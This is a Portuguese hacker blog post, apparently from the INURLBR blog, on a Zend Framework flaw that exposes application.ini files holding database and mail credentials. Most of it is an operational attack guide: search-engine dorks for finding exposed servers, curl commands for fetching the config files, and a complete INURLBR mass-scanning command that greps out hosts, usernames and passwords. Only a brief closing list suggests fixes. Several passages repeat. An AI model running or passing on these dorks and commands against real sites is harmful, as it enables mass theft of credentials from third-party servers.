3xpl0r4nd0 Z3nd Fr4m3w0rk Full 1nf0 D15cl05ur3
4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n!
Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda está em alta. devido a falta de atenção de muitos desenvs & admins.
Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuração da aplicação local.
Acessar informações como:
Acessar informações como:
- 'mail.transport.username'
- 'mail.transport.password'
- 'db.adapter'
- 'db.params.host'
- 'db.params.username'
- 'db.params.password'
- 'db.params.dbname'
Exemplo:
Tais informações são encontradas no arquivo application.ini,db.ini,config.ini dentro da pasta /application/configs.
resources.mail.transport.host ="smtp.target.com.br"
resources.mail.transport.auth = "loginre"
sources.mail.transport.username = "wangxydlutre"
sources.mail.transport.password = "12333"
resources.db.adapter = "PDO_MYSQL"
resources.db.params.host = "mysql.target.com.br"
resources.db.params.username = "root"
resources.db.params.password = "123456"
resources.db.params.dbname = "db_app_teste"
Tais informações são encontradas no arquivo application.ini,db.ini,config.ini dentro da pasta /application/configs.
Exemplo de estrutura URL:
Montar comando baseado nas informações que já sabemos, o principal intuito achar possíveis servidores através de motores de busca e já testar o possível conteúdo de cada url encontrada.
O script INURLBR já possui por padrão um conjunto de strings para tal validação:
COMMAND
SET DORK:
--dork '{YOU_DORK}'ou
--dork-file 'arquivo_dorks.txt'
Use:
--dork 'site:br index of "/application/configs/"'ou
--dork-file 'zend-dorks.txt'
Manipulação de URL exemplo:
URL original vinda do motor de busca ou arquivo:
http://www.target.com.br/pasta/application/configs/languages/de/
URL modificada pelo replace:
http://www.target.com.br/pasta/application/configs/application.ini#/languages/de/
A function substituiu a string /configs por /configs/application.ini# e tudo depois do "#" é ignorado.
SET COMANDO PERSONALIZADO:
- http://{taget}/pasta/application/configs/{arquivo}.ini
- http://{taget}/application/configs/{arquivo}.ini
Acessando arquivo via CURL:
curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'
curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'
Com o conceito de como acessar tal arquivo e do que podemos encontrar no mesmo, vamos para buscar servidores.
DORK[s]:
DORK[s]:
- site:br index of "/application/configs/"
- inurl:/application/configs/application.ini
- site:com ext:ini inurl:/application/ -inurl:"git*" -github -assembla -inurl:mozilla -inurl:google "params.password"
- -site:.google.com -site:.github.com -site:.sourceforge.net -site:.googlecode.com inurl:/application/configs/ "params" ext:ini
- inurl:/configs/ "params.password" db.ini ext:ini
- -github.com -mozilla.org -.google.com inurl:/application/ ext:ini password
Agora vamos explora em massa com SCANNER inurlbr
Montar comando baseado nas informações que já sabemos, o principal intuito achar possíveis servidores através de motores de busca e já testar o possível conteúdo de cada url encontrada.
O script INURLBR já possui por padrão um conjunto de strings para tal validação:
/* [*]ZEND FRAMEWORK
* Zend-Framework Full Info Disclosure
* The username and password of the database may be obtained trough
* the "application.ini" file
$validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username';
$validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password';
$validation['ZEND-FRAMEWORK-03'] = 'db.params.username';
$validation['ZEND-FRAMEWORK-04'] = 'db.params.password';
$validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname';
COMMAND
SET DORK:
--dork '{YOU_DORK}'ou
--dork-file 'arquivo_dorks.txt'
Use:
--dork 'site:br index of "/application/configs/"'ou
--dork-file 'zend-dorks.txt'
SET ARQUIVO DE SAÍDA:
-s '{FILE}'
Use:
-s 'zend.txt'
-s '{FILE}'
Use:
-s 'zend.txt'
SET ID DOS MOTORES DE BUSCA:
-q '{ID}'
Use:
-q '{ID}'
Use:
-q 1,6,7,14,22
SET FILTRO DE URLS:Só é incluída no loop de testes urls que contenham a string setada em tal parâmetro.
--ifurl '{STRING_VALIDATION}'
--ifurl '{STRING_VALIDATION}'
Use:
--ifurl 'configs'
SET REPLACE - MANIPULAÇÃO DE URL:
--replace 'OLD_STRIN[INURL]NEW_STRING'
Use:
--replace '/configs[INURL]/configs/application.ini#'
Manipulação de URL exemplo:
URL original vinda do motor de busca ou arquivo:
http://www.target.com.br/pasta/application/configs/languages/de/
URL modificada pelo replace:
http://www.target.com.br/pasta/application/configs/application.ini#/languages/de/
A function substituiu a string /configs por /configs/application.ini# e tudo depois do "#" é ignorado.
SET COMANDO PERSONALIZADO:
Só vai executar tal comando se o script achar algo que seja considerado vulnerável.
--commnad-vul '{COMMAND_LINE}'
Use:
--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"
OBS esse comando(command) é somente para mostrar as linhas de senha do arquivo explorado
COMANDO COMPLETO:
php inurlbr.php --dork 'site:br index of "/application/configs/"' -s 'zend.txt' -q 1,6,7,14,22 --replace '/configs[INURL]/configs/application.ini#' --command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"
PRINT OUTPUT:
SOLUÇÕES ????
.htaccess personalizado.
Permissões adequadas nas pastas afetadas.
.htaccess personalizado.
Permissões adequadas nas pastas afetadas.
- http://thiagosantos.com/blog/186/webservers/alterando-o-arquivo-index-com-htaccess/
- http://www.devin.com.br/apache-autoindex/
- http://wiki.locaweb.com/pt-br/Alterando_a_permiss%C3%A3o_de_pastas_em_Linux
- http://rberaldo.com.br/chmod-permissoes-em-sistemas-linux-e-unix-like/
- http://www.vivaolinux.com.br/dica/Impedindo-listagem-de-diretorio-no-Apache
- http://blog.inurl.com.br/2014/07/explorando-falha-no-zend-framework-full.html